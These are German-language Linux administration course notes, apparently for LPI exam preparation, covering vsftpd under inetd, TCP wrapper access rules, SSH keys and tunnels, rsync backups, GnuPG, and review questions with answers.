Aufgabe: Installieren auf dem Debian-System den vsftpd-Server, konfigurieren Sie ihn, so dass er nicht mehr standalone läuft, sondern den inetd zum Starten benötigt.
Datei: /etc/vsftpd.conf
Parameter: listen ⇒ „listen=NO“
Daneben bitte noch für lokalen User-Login die Zeilen 26 und 29 aktivieren.
Nun muss der Dienst gestoppt werden: service vsftpd stop
Im nächsten ist der inetd zu installieren/konfigurieren:
Installation:
apt-get install openbsd-inetd
Konfiguration:
vi /etc/inetd.conf
ftp stream tcp nowait root /usr/sbin/vsftpd
Dienst starten (er läuft noch nicht, weil er keine aktive Zeile fand):
service openbsd-inetd start
Jetzt folgen Tests und die Einbindung von tcpd.
Verbindungsaufnahme:
ftp localhost
Zugriffsmöglichsmöglichkeiten:
Als Benutzer anonymous/ftp (Speicherort: /srv/ftp laut Heimatverzeichnis des Benutzers ftp, siehe /etc/passwd)
Als normaler Benutzer (Speicherort: $HOME)
Verbindungsaufnahme von verschiedenen Netzwerken aus, Ziel: nur über 172.16.0.0/29 erreichbar sein:
Vom Windows-Hosts aus: WIN+R: cmd ⇒
ftp 10.23.18.109
⇐ OK (Noch!)Vom CentOS aus:
ftp 172.16.0.1
⇐ Ist und bleibt OK
Aufgabe zur Vertiefung von *inetd*: Installieren Sie das
Samba-Server-Web-UI swat mitsamt allen abhängigen Paketen. Ist bei
Clientanfragen an den Port 901 etwas zu sehen? (nmap
benutzen). Wie
sieht die dafür verantwortliche Zeile in der /etc/inetd.conf aus?
Zugriffskontrolle mit dem TCP Wrapper (tcpd)
Der tcpd ist unabhängig von (x)inetd!
Der xinetd benötigt den tcpd nicht, er besitzt eine eigene Zugriffskontrolle
Wenn man den tcpd als Kontrollinstanz für den alten inetd einbinden möchte, macht man dies so:
/usr/sbin/tcpd
VOR dem eigentlichen,
abhängigen, zu startenden Daemon-Binary.Datei /etc/inetd.conf editieren:
ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/vsftpd
Danach muss der inetd seine Konfiguration neu einlesen:
kill -1 `cat /var/run/inetd.pid`
Alternativ:
kill -SIGHUP `cat /var/run/inetd.pid`
Es gibt zwei Konfigurationsdateien für die Zugriffskontrolle, die folgende restriktive Vorgehensweise ist allgemein empfehlenswert: Was in der hosts.allow nicht explizit erlaubt wurde, wird mittels einer abschließenden Regel in der hosts.deny verboten:
Zuerst wird die /etc/hosts.allow abgearbeitet:
vsftpd : 172.16.0.0/255.255.255.224
vsftpd : 10.23.18.,172.16.0.0/255.255.255.224 EXCEPT 172.16.0.3
Im zweiten Beispiel werden zwei Netzwerke zugelasssen, ausgenommen die Maschine 172.16.0.3.
Bei Verwendung von NIS-Domänen könnte man alle lokalen Hosts (via Hostnamen, in denen kein Punkt vorkommt) mit
vsftpd : LOCAL
Zugriff gewähren.
Das folgende Beispiel ist LPI-relevant, es blockiert Anfragen von *.example.com und sendet an Stelle dessen „421 Bad hacker, go away!“.
vsftpd : .example.com : twist /bin/echo "421 Bad hacker, go away!"
b) Danach wird die /etc/hosts.deny abgearbeitet, Beispielinhalt für die oben beschriebene Arbeitsweise:
ALL : ALL
Hinweise:
Man-Pages:
man hosts_access
sowieman hosts_options
⇒ Option twist! (Debian)Es muss kein Neueinlesen dieser Änderungen durchgeführt werden; der tcpd läuft nicht ständig, vielmehr wird er mit jeder neuen eingehenden Clientanfrage aktiv und arbeitet dann die Dateien ab
Es kann wahlweise auch nur eine der beiden Dateien verwendet werden, dann müssen Ausschlüsse mit ECEPT definiert werden.
Weiterführendes: http://www.softpanorama.org/Net/Network_security/TCP_wrappers/index.shtml
Benutzung von vsftpd
Anonymer Zugriff:
root@deb7:~# tail -1 /etc/passwd
ftp:x:122:133:ftp daemon,,,:/srv/ftp:/bin/false
root@deb7:~#
root@deb7:~#
root@deb7:~# echo Hallo... > /srv/ftp/willkommen.txt
root@deb7:~#
root@deb7:~# ftp localhost
ftp: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
220 (vsFTPd 2.3.5)
Name (localhost:tux): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 9 Feb 10 11:56 willkommen.txt
226 Directory send OK.
ftp> by
221 Goodbye.
root@deb7:~#
Login für einfache Benutzer sperren
Das Sicherheits-Modul pam_nologin (Siehe dazu auch die gleichnamige man-Page) sorgt dafür, dass bei Vorhandensein der Datei
/etc/nologin
jeder Neulogin von allen Benutzern außerroot
verhindert wird. Die Datei einfach anlegen:echo "Wegen Wartungsarbeiten geschlossen." > /etc/nologin
Nach Beendigung der Wartungsarbeiten löscht
root
einfach diese Datei und alles ist wie vorher.
Fragen/Aufgaben zur Wiederholung
Wie heißen die Konfigurationsdateien des alten sowie des neuen Internet-Superservers?
/etc/inetd.conf
/etc/xinetd.conf bzw. /etc/xinetd.d/*
Kommando zum Prüfen der Syntax:
tcpdchk
Wie heißen die Konfigurationsdateien des TCP-Wrappers? Listen Sie die Dateinamen gemäß ihrer Abarbeitsungreihenfolge auf.
/etc/hosts.allow
/etc/hosts.deny
Prüfen Sie mit
ldd
, ob Sie das Programm/usr/sbin/sshd
über den TCP-Wrapper schützen können.ldd `which sshd` | grep libwrap
libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f12bfe1a000)
Sorgen Sie mit Hilfe des TCP-Wrappers dafür, dass der SSH-Dienst unter Debian nur von Ihrem Windows-Host aus zugreifbar ist.
Datei /etc/hosts.allow editieren:
sshd : 10.23.18.100
Falls nicht bereits geschehen, installieren Sie auf CentOS den alten Standard-tcpd, konfigurieren Sie ihn so, dass er SSH nur aus dem Netzwerk 172.16.0.0/27 heraus zulässt.
Lösung 1 (Wegen Übersichtlichkeit zu bevorzugen):
Datei /etc/hosts.allow:
sshd : 172.16.0.0/27
Datei /etc/hosts.deny:
ALL : ALL
Lösung 2 (Das Ganze nur in einer Datei):
Datei /etc/hosts.deny:
ALL : ALL EXCEPT 172.16.0.0/27
Blockieren Sie den Zugang zum CentOS-System für alle Benutzer außer root, er soll ungehindert auch vom Netzwerk aus zugreifen können.
echo "Kein Zugang" > /etc/nologin
- Modifizieren Sie das Firewall-Skript, indem Sie die beiden iptables-Zeilen aus den natonly)-Zweig in eine Funktion namens natrouter auslagern und sie dann an Stelle der beiden Zeilen einbinden.
⇒ Siehe Datei fw-sipmle-0.4
110.3 Securing data with encryption
Siehe dazu:
Doku: https://www.informatik.tu-darmstadt.de/BS/Lehre/Sem98_99/T11/
Lernsoftware (Windows): https://www.cryptool.org/de/
Verschlüsselungsarten
Auf beiden Seiten ist der eine, selbe Schlüssel hinterlegt
Einsatz bei Pre Shared Key ⇒ WLAN
Schwierige Schlüsselverwaltung
Wichtige Verschlüsselungsverfahren: AES (WPA2 bei WLAN), Blowfish, 3DES
Laut Kerkhoff: Selbst wenn der Algorithmus in die Hände des Feindes fällt, dürfen keine Rückschlüsse auf den Schlüssel gezogen werden können
Das Schlüsselpaar besteht aus dem privaten Schlüssel, der NIEMALS das System verlassen darf, der öffentliche Schlüssel wird weitergegeben
Ablauf einer Verschlüsselung:
Der Sender verschlüsselt die Nachricht mit dem Public-Key der Empfängers
Der Empfänger entschlüsselt sie mit seinem eigenen Private-Key
Wichtige Verschlüsselungsverfahren: RSA, DH (IKE-Handshake), ECDSA (Unter Mitwirkung der NSA entstanden!), DSA
Risiken: Zu geringe Schlüssellänge (inbesondere bei RSA wichtig), oft kein Schutz gegen Man-In-The-Middle (MITM) Angriffe ⇒ Fingerabruck prüfen!
Anwendungen, die u.a. RSA verwenden: Secure Shell, Pretty Good Privacy (GnuPG)
Die Secure Shell
ssh (ersetzt
rlogin
undrsh
) ⇒ Fernadministration (remote control)scp (ersetzt
rcp
) ⇒ remote copysftp (ersetzt mit reduziertem Befehlssatz einen klassische
ftpd
)
Aufbau einer Vertrauensbasis
Zuerst einmal wird auf dem Server der eigene krytografische Fingerabdruck vom eigenen Schlüsselpaar extrahiert, damit Clients später die Identität des Servers überprüfen können. Je nach Distribution werden unterschiedlich viele Schlüssel für die verschiedenen Verschlüsselungsalgorithmen vorgehalten:
=> ssh-keygen -l -f /etc/ssh/ssh_host_ecdsa_key.pub
=> ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub
- Beim ersten Verbingsaufbau von Clients via mit ssh, scp oder sftp wird der öffentliche Schlüssel vom Server automatisch heruntergeladen und ein Fingerabruck daraus generiert, der nun mit dem Fingerabdruck, der auf dem Server ausgegeben wurde, verglichen werden muss. Stimmt er überein, Unterschreibt der Client mit yes die Echtheit der Serveridentität.Danach wird die IP-Adresse bzw. der Hostname des Servers zusammen mit dem eben heruntergeladenen Public-Key des Servers in der benutzerdefinierten Datei ~/.ssh/known_hosts gespeichert.
Dieser vertrauensbildende Vorgang kann auch vom Admin durchgeführt werden, die systemweite Datenbankdatei heißt /etc/known_hosts.
Der Client bestimmt, welches Verschlüsselungsverfahren angewendet wird, will er RSA für die Kommunikation, schiebt er das Ganze so an:
ssh -o HostKeyAlgorithms=ssh-rsa-cert-v01@openssh.com,\ ssh-dss-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,\ ssh-dss-cert-v00@openssh.com,ssh-rsa,ssh-dss tux@deb7
(Oft funktioniert auch die Kurzform: "HostKeyAlgorithms=ssh-rsa")
Die Clientseitige Datenbankdatei known_hosts kann durchsucht u. bearbeitet werden:
Bei nicht gehashten Adressen/Hostnamen: grep/vi
Bei gehashten Adressen/Hostnamen:
ssh-keygen -F <HOST>
bzw:ssh-keygen -R <HOST>
Konfiguration der Secure Shell
Dateiname: /etc/ssh/sshd_config (Wegen dem Daemon ist ein *d* im Dateinamen)
Eine wichtige Einstellung, die root-Login verbietet: PermitRootLogin no
Falls ein Login mittels eigenen Schlüsselpaaren erzwungen werden soll: PasswordAuthentication no
Festlegen, welche Nutzer Zugriff bekommen sollen: Parameter AllowUsers, DenyUsers, AllowGroups und DenyGroups
Einen Verschlüsselungsalgorithmus nicht mehr anbieten, Zeile löschen: HostKey /etc/ssh/ssh_host_ecdsa_key
Dateiname: /etc/ssh/ssh_config (Ohne *d*!)
Bequemlichkeitseinstellung (Der Client kann dann -X weglassen): ForwardX11 yes
Festlegen, dass Clients einen anderen als den voreingestellten (einkompilierten) Verschlüsselungsalgorithmus nutzen sollen: HostKeyAlgorithms ssh-rsa-cert-v01@openssh.com,… (s.o.)
Eigenes clientseitiges Schlüsselpaar erzeugen
Zur Orientierung: Das Ganze geschieht auf dem Client, er legt zum Schluss lediglich seinen öffentlichen Schlüssel unter dem Namen authorized_keys auf dem Server ab.
Ziele:
Zweifaktorauthentifizierung
Automatischer Login für Backup-Tools wie
rdiff-backup
Erzeugung eines eigenen Schlüsselpaares auf dem Client (= CentOS) ohne Passphrase für Autologin
ssh-keygen -t rsa -b 4096 -N ""
- Kopieren des Inhaltes von
~/.ssh/id_rsa.pub
(Das ist der öffentlicher Schlüssel!) in eine Datei namens~/.ssh/authorized_keys
auf den ServerKopieren auf manuelle Art (alles auf dem Client):
Sicherstellen, dass es auf dem Server den Ordner ~/.ssh gibt:
tux@client> ssh tux@server "mkdir -p ~/.ssh"
Die Public-Key-Datei kopieren und umbenennen (ACHTUNG: Nur beim ersten Mal, sonst droht Datenverlust!)
tux@client> scp ~/.ssh/id_rsa.pub tux@server:.ssh/authorized_keys
Komfortables Kopieren ebenfalls auf dem Client):
ssh-copy-id tux@server
Tipps fürs Testen:
Der besseren Übersicht halber erst einmal mit gleichen Benutzernamen arbeiten: tux@client ⇒ tux@server (Entsprechend wird auf beiden Seiten automatisch /home/tux/.ssh erwartet)
Nach erfolgreichem Login nicht auf dem Server eingeloggt bleiben (Man will ja wahrscheinlich noch nicht wirklich den Server fernadministrieren, sondern erst einmal die Client-History zu Dokumentationszwecken sichten.):
exit history 20 > ssh-versuche-histfile-01.txt
Automatisches Synchronisieren von Verzeichnissen
Motivation: Dank des eigenen passphraselosen Schlüssels kann nun leicht
einen Master/Slave-Mirror eingerichtet werden. Die Synchonisierung kann
später von cron
ausgeführt werden.
Ziel- und Quell-Verzeichnis definieren bzw. anlegen:
Lokaler Ausgangspunkt: ~/Dokumente
Entfernter Zielordner (auf Debian/Rasbian):
mkdir /home/tux/Backup/Dokumente/
Installation der Software auf beiden Seiten:
Verschlüsselung via
sshd
(= erfüllte Voraussetzung)Vom Samba-Team stammendes
rsync
Ein einfacher Aufruf, der alle Dateien auf dem Server löscht, die nicht auf der sendenden Seite beim Client existieren kann so aussehen:
#rsync ARCHIVING MASTER/SLAVE SENDER=CLIENT EMPFÄNGER=SERVER
rsync -a --delete ~/Dokumente/ tux@deb7:/home/tux/Backup/Dokumente/
# ^
# |
# Wenn dieser "Directory"-Slash fehlt, wird
# der Ordener als Unterverzeichnis in den Zielordner kopiert!
History-Mitschnitt für Experimente.
Anmerkung: Im folgenden Historyauszug ist beim ersten
rsync
-Aufruf (Zeile 06) weder ein Login-Prompt noch eine Ausgabe,
was im Einzelnen getan wird, zu sehen. Beim zweiten Aufruf (Zeile 15)
wird die Option ``-v`` (verbose) verwendet, die für den Testfall mehr
Anschaulichkeit bringt.
01 [tux@cent7 ~]$ echo 123 > Dokumente/datei01.txt
02 [tux@cent7 ~]$ echo 123 > Dokumente/datei02.txt
03 [tux@cent7 ~]$ echo 123 > Dokumente/datei03.txt
04 [tux@cent7 ~]$
05 [tux@cent7 ~]$
06 [tux@cent7 ~]$ rsync -a --delete ~/Dokumente/ tux@deb7:/home/tux/Backup/Dokumente/
07 [tux@cent7 ~]$
08 [tux@cent7 ~]$
09 [tux@cent7 ~]$ ### Testen, ob das Master-Slave-Verhalten funktioniert; wird eine Datei auf dem
10 [tux@cent7 ~]$ # Master gelöscht, zieht das eine entsprechende Löschaktion auf dem Slave nach
11 [tux@cent7 ~]$ # sich:
12 [tux@cent7 ~]$
13 [tux@cent7 ~]$ rm Dokumente/datei01.txt
14 [tux@cent7 ~]$
15 [tux@cent7 ~]$ rsync -a -v --delete ~/Dokumente/ tux@deb7:/home/tux/Backup/Dokumente/
16 sending incremental file list
17 ./
18 deleting datei01.txt
19
20 sent 83 bytes received 15 bytes 196.00 bytes/sec
21 total size is 8 speedup is 0.08
22 [tux@cent7 ~]$
Fragen/Aufgaben zur Wiederholung
Nennen Sie die beiden Dateien (benutzerdefiniert und systemweit), die die clientseitigen Vertrauenstellungen zu ssh-Servern beinhalten.
a) ~/.ssh/known_hosts b) /etc/known_hosts
Wie lautet die Kommandozeile, mit der Sie sich ein eigenes ssh-Schlüsselpaar erzeugen können?
ssh-keygen -t rsa -b 4096
Welchen Namen muss die Public-Key-Datei Ihres eigenen Schlüsselpaares auf dem Server aufweisen, wenn Sie sich dort mittels dieses Paares authentifizieren wollen? (Volle Pfadangabe)
~/.ssh/authorized_keys
Wie heißen die Konfigurationsdateien von
sshd
undssh
?/etc/ssh/sshd_config ( D = Daemon ) /etc/ssh/ssh_config
Mit welcher Direktive kann man in der Konfigurationsdatei des
sshd
einen ssh-Login von root verhindern?PermitRootLogin no
Welchen TCP-Port verwendet standardmäßig der
sshd
?22 ( siehe /etc/services )
Warum kann man den
sshd
nicht vom Inet-Daemon starten lassen?Weil er sonst jedesmal beim Initiieren durch Inetd seinen Server-Key neu erzeugen müsste (Zeitaufwand!)
Erweitern Sie das Firewall-Skript im Header um eine Variable extif, weisen Sie ihr den Wert eth0 zu. Fügen Sie weiterhin einen case-Zweig namens main (für „maintenance“) hinzu und betten dann dort die folgenden Zeilen ein. Testen Sie als root, ob der Firewall-Router damit ins Internet kommt und Updates installieren kann.
### Lokale Prozesse via SPI erlauben
iptables -A INPUT -i $extif -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -o $extif -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
Lösung siehe Datei fw-simple-0.5
Tunnelbau mit SSH
a) Im einfachsten Falle X11 durchtunneln (X11-Forwarding ist ansonsten unverschlüsselt!)
ssh -X tux@cent7
=> nautilus &
=> yast2 & (bei SuSE Linux)
Samba-Web-UI swat absichern:
Swat ist ein leider nicht mehr weiter gepflegter Samba-Konfigurations-Webdienst, der bei
grep swat /etc/inetd.conf
swat stream tcp nowait.400 root /usr/sbin/tcpd /usr/sbin/swat
→ Das Starten von swat übernimmt der Superserver…
Der Login in die Weboberfläche als root ist auf der Maschine selbst gefahrlos möglich:
http://localhost:901/
Aber Achtung:
ssh-Tunnel als einfacher Benutzer auf einem Rechner im LAN aufbauen:
ssh -L 9901:localhost:901 samba-server
Dann einfach im Webbrowser dieses Rechners die verschlüsselte Verbindung über den speziell angegebenen Port 9901 aufbauen:
http://localhost:9901
Verschlüsselung mit GnuPG
Schlüssel erzeugen
gpg --gen-key (Bestätigung am Schluss mit 'F' [fertig])
Public-Key exportieren
gpg --export --armor -o axelPemmann.pub "Axel Pemmann"
Rückrufszertifikat erzeugen (Am besten NICHT in eine Datei speichern, die man ja verschlüsselt ablegen müsste, sondern ausdrucken!
gpg --gen-revoke -o axelPemmann-revoke.crt "Axel Pemmann"
Öffentlichen Schlüssel auf einen Key-Sever hochladen (oder einfach per Mail versenden, was die beste Lösung ist, weil sich auf den Key-Servern viele Schlüssel mit falscher Identität tummeln):
gpg --send-key ...
Fingerprint für spätere Authentizitätsprüfung ausgeben (kontra MITM)
gpg --fingerprint "Axel Pemmann" > axelPemmann-fingerprint.txt
Schlüssel der Kommunikationspartner importieren
gpg --import gerald.pub
gpg --import maik.pub
gpg --keyserver certserver.pgp.com --recv-key 0x47110815
--> oder suchen via: http://pgp.mit.edu/
Die importierten Schlüssel prüfen und signieren
gpg --edit-key gerald
gpg> list (Schlüssel auflisten, optional) gpg> fpr gerald (Fingerabdruck des Partners ausgeben, optional)
<--- SNIP: Per Telefon Fingerprint vegleichen --->
gpg> sign (Unterzeichnung (j)) gpg> check gpg> quit
Eine Datei verschlüsseln
gpg --output datei-richter.txt.gpg --encrypt --recipient richter datei.txt
Entschlüsselung der Datei beim Partner
gpg [--output <DATEINAME>] --decrypt datei-pemmann.txt.gpg
Heruntergeladene Dateien verifizieren
gpg --verify source.tar.gz
Verschlüsselung und Archivierung mit
gpg-zip
(Ganze Verzeichnisse)gpg-zip --encrypt --output GnuPG.cryptdir --gpg-args "-r axel@pemmann.de" GnuPG/
Entschlüsseln und Entpacken mit
gpg-zip
cd /tmp gpg-zip --decrypt ~/GnuPG.cryptdir
Fragen/Aufgaben zur Vertiefung und Wiederholung
Mit welcher ssh-Kommandozeilenoption kann der Client X11-Displayforwarding aktivieren?
Option:
-X
Wie lautet die clientseitige ssh-Kommandozeilenoption, um ausgehend vom lokalen Host einen Tunnel für unsichere Protokolle einzurichten?
Option:
-L
(ssh -L 9901:localhost:901 tux@sambaserver
)
Mit welcher Kommandozeile lässt sich ein neuer GnuPG-Key erzeugen?
gpg --gen-key
Wie heißt das Verzeichnis, in dem dabei der persönliche Schlüsselbund gespeichert wird?
~/.gnupg
Signieren Sie eine wichtige Datei in folgenden Schritten:
Legen Sie eine Datei namens „einladung.txt“ an, schreiben Sie drei fiktive Zeilen hinein. Erstellen Sie aus dieser Datei eine Klartextsignaturdatei mittels der folgenden Zeile:
gpg --clearsign einladung.txt ... Sie benötigen eine Passphrase, um den geheimen Schlüssel zu entsperren. Benutzer: "Max Müller (Familienschlüssel) <max.mueller@gmx.net>" 1024-Bit RSA Schlüssel, ID ECA1F07B, erzeugt 2014-09-12 ...
Nehmen Sie dabei wahr, dass diesmal zuerst der private Schlüssel zum Einsatz kommt (Signatur hinzufügen), der mit der Passphrase entsperrt werden müss!
FRAGE: Wie würde die Standard-Option für das Signieren lauten (-> man gpg)?
ANTWORT:
--sign
Prüfen Sie die Datenintegrität des eben erstellten neuen ASCII Armored files mit folgender Zeile:
gpg --verify einladung.txt.asc
gpg: Signatur vom Mo 15 Sep 2014 08:23:21 CEST mittels RSA-Schlüssel ID ECA1F07B gpg: Korrekte Signatur von "Max Müller (Familienschlüssel) <max.mueller@gmx.net>"
- Verändern sie mit einem Editor ein Zeichen in eben dieser Datei - und zwar in dem Teil,der Ihre eigentliche, zu überbringende Botschaft darstellt. Prüfen Sie noch einmal die Integrität.
Kommando:
vi einladung.txt.asc
# Ein oder zwei Zeichen ändernKommando:
gpg --verify einladung.txt.asc
gpg: Signatur vom Mo 15 Sep 2014 08:23:21 CEST mittels RSA-Schlüssel ID ECA1F07B gpg: FALSCHE Signatur von "Max Müller (Familienschlüssel) <max.mueller@gmx.net>"
Übungen und weitere Fragen zur Wiederholung
Begriffserkärungen: Was steht hinter den Begriffen MTA, MUA, MAA und MDA?
MTA = Mail Transport Agent (SMTP-Server)
MUA = Mail User Agent (Mail Reading/Writing)
MAA = Mail Access Agent (Postfache-Server, POP3 / IMAP)
MDA = Mail Delivery Agent (Postbote, Mails sortieren)
- Erstellen Sie auf dem CentOS-System, wo der ssh-Autologin möglich ist, ein Skript namens syncmirror, das prüft, ob der im folgenden Einzeiler angegebene Quell-Verzeichnispfad existiert und ansonsten mit einer Fehlermeldung abbricht.
# Master/Slave-Synchronisation: Alle Dateien, die nicht auf dem Client (sendende Seite) # existieren, werden auf dem Zielserver gelöscht! #rsync ARCHIVING MASTER/SLAVE SENDER=CLIENT EMPFÄNGER=SERVER rsync -a --delete ~/Dokumente/ tux@deb7:/home/tux/Backup/Dokumente/ # ^ # | # Wenn dieser endende "Directory"-Slash fehlt, wird # der Ordener als Unterverzeichnis in den Zielordner kopiert!
Lösung: Siehe Datei syncmirror-0.1
Erstellen Sie als normaler Benutzer auf CentOS einen Cronjob, der aller 2 Stunden außer am Wochenende das Skript syncmirror ausführt.
crontab -e
0 */2 * * 1-5 /home/tux/bin/syncmirror-0.1
Erzeugen Sie einen Kommando-alias, der die Zeile
echo "Hallo Welt."
beinhaltet. Testen Sie, ob er funktioniert und entfernen Sie ihn wieder komplett aus der Prozessumgebung.alias welt='echo "Hallo Welt."'
unalias welt
Nennen Sie zwei systemweite und drei benutzerabhängige Startupdateien und beschreiben Sie ihre Aufgaben.
/etc/profile, /etc/bashrc => Konfiguration von Variablen: a) der _PATH_, b) von _PS1_ ~/.profile, ~/.bashrc, ~/.bash_logout => diese Dateien überschreiben systemweite Einstellungen, siehe oben
Benutzerabhängige Startupdateien für X-Window-System: ~/.xinitrc (xinit, startx), ~/.xsession (bei Verwendung eines Displaymanagers)
Wie kann man den Inhalt der ausgehenden Warteschlange eines MTAs prüfen?
Kommando
mailq
sowie Ornderinhalt /var/spool/mqueue
In welches Verzeichnis legt ein MDA wie
procmail
die Post eines Users letztlich hinein?/var/spool/mail (im mbox-Format)
Beschreiben sie den Unterschied zwischen X-Server, Displaymanager und DISPLAY-Variable.
X-Server: Kommunikation mit Grafikkarte
Displaymanager: Grafisches Login
DISPLAY-Variable: Damit wird einer Applikation mitgeteilt, auf welchem Bildschirm sie erscheinen soll.
Wozu braucht man das Kommando
startx
?Manuelles Starten des X-Window-Systemes (geht nur wenn kein Displaymanager läuft)
Welches weitere Kommando spielt neben
xauth
und der Startupdatei ~/.Xauthority eine Rolle, wenn es um die Verwaltung der Zugriffe auf den X-Server geht?xhost (Ohne Parameter: Ausgabe der Zugriffsliste, hier sind die Clients eingetragen, die Grfaiken zu diesem X-Server senden dürfen)
Wie heißen die beiden Konfigurationsdateien für den X-Server (alte und neue Version)?
Früher (XFree86): /etc/X11/XF86Config
Heute (Xorg): /etc/X11/xorg.conf
Legen Sie vier neue Unix-Gruppen namens Apache, Blackfeet, Cheyenne und Bleichgesichter an. Weisen Sie dabei der ersten Gruppe die ID 3000 zu.
groupadd -g 3000 Apache groupadd Blackfeet groupadd Cheyenne groupadd Bleichgesichter
Legen Sie zwei neue Benutzer namens Winnetou und Shatterhand an, wobei Winnetou als primäre Gruppe Apache und als sekundäre Gruppen die anderen drei erhalten soll. Dem Benutzer Shatterhand weisen Sie dagegen als primäre Gruppe users zu, sonst soll er vorerst keiner weiteren Gruppe angehören. Schlussendlich erweitern Sie für ihn die Gruppenzugehörigkeit: er darf sich nun auch zur Gruppe Apache zählen.
useradd -m -g Apache -G Blackfeet,Cheyenne,Bleichgesichter Winnetou useradd -m -g users Shatterhand passwd Winnetou passwd Shatterhand usermod -G Apache Shatterhand
Gegeben sei eine Netzwerk-ID von 10.0.0.0/8. Wie viele Bits müssen Sie sich vom Hostanteil borgen, wenn Sie viele, sehr kleine Unternetze schaffen sollen, die aber jeweils mindestens 10 Hosts beinhalten müssen. Wie heißt die neue Netzwerkmaske in CIDR und dezimaler Schreibweise?
2 ^ x = 10 x = 4 2 ^ 4 = 16 - 2 = max. 14 adressierbare Hosts 32 - 4 = 28 => /28 bzw. 255.255.255.240
Erkunden Sie, welche TCP- und UDP-Ports Ihr Debian-Router geöffnet hat. Verwenden Sie dabei lokal arbeitende Kommandos und spezielle Werkzeuge, die Sie auch remote (von CentOS aus) einsetzen können (vier Tools).
netstat -tulpen
lsof -i -P
nc -zv 172.16.0.1 20-2000
nmap 172.16.0.1
Mit welchen drei Werkzeugen können Sie DNS-Eintrage von Nameservern erfragen?
nslookup
host
dig
Mit welchen zwei Werkzeugen kann die Schnittstelle eth0 temporär deaktiviert werden?
ifconfig
ifdown
Wie setzt man eine Standardgateway-Route, wenn der Router die IP-Adresse 10.0.0.1 hat?
route add default gw 10.0.0.1
Wie entfernt man sie wieder?
route del default
Wie heißen die Konfigurationsdateien des TCP-Wrappers? Listen Sie die Dateinamen gemäß ihrer Abarbeitsungreihenfolge auf.
/etc/hosts.allow
/etc/hosts.deny
Wie heißt die Anweisung beim Xinetd, mit der man das Interface-Listening auf die Adresse 10.0.0.2 einschränken kann?
bind = 10.0.0.2
Fernsteuerung mit Linux-Bordmitteln
Anstelle des bekannten und unter Linux leider nicht ohne wine zum Laufen zu bringenden teamviewer lässt sich das Ziel, entfernten Benutzern auf grafischen Wege zu Hilfe zu eilen, recht gut mit dem VNC-Server x11vnc und dem VNC-Viewer xvnc4viewer erreichen.
Gemäß http://wiki.ubuntuusers.de/VNC#Reverse-VNC-Verbindung kann die Verbindung leicht über einen SSH-Tunnel abgesichert werden. An dieser Stelle sei nur das Wichtigste herausgestellt:
Auf dem Rechner der Helfers
apt-get install xvnc4viewer vncviewer -listen ### Als normaler Benutzer!
Auf dem Rechner des Hilfesuchenden
apt-get install x11vnc ssh -NfL 5500:localhost:5500 hilflos@IP-ADRESSE-HELFER sleep 2 && x11vnc -connect_or_exit localhost:5500 -scale 9/10
Weiterführende Tipps
Um die Sicherheit zu verbessern, kann beim Hilfesuchenden ein höherer Port (z.B. 54666) verwendet werden:
ssh -p 54666 -NfL ...
Falls der Helfer hinter einem Router sitzt, gibt er dann diesen Port beim Einrichten des Port-Forwardings an und leitet die Kommunikation dann auf den eigentlichen Rechner (i.d.R. Port 22) im LAN weiter.
Neben der Verschlüsselung via separatem ssl-Tunnel kann
x11vnc
mit der Option-ssl
auch nativ verschlüsseln, siehe auch:Leider gibt es bei dyndns.org die dynamische Namensauflösung nicht mehr kostenlos, man kann sich aber bei z.B. bei http://selfhost.de (Steht im Speedport-Router der Telekom mit zur Auswahl) registrieren, dort kostet dieser Dienst nichts.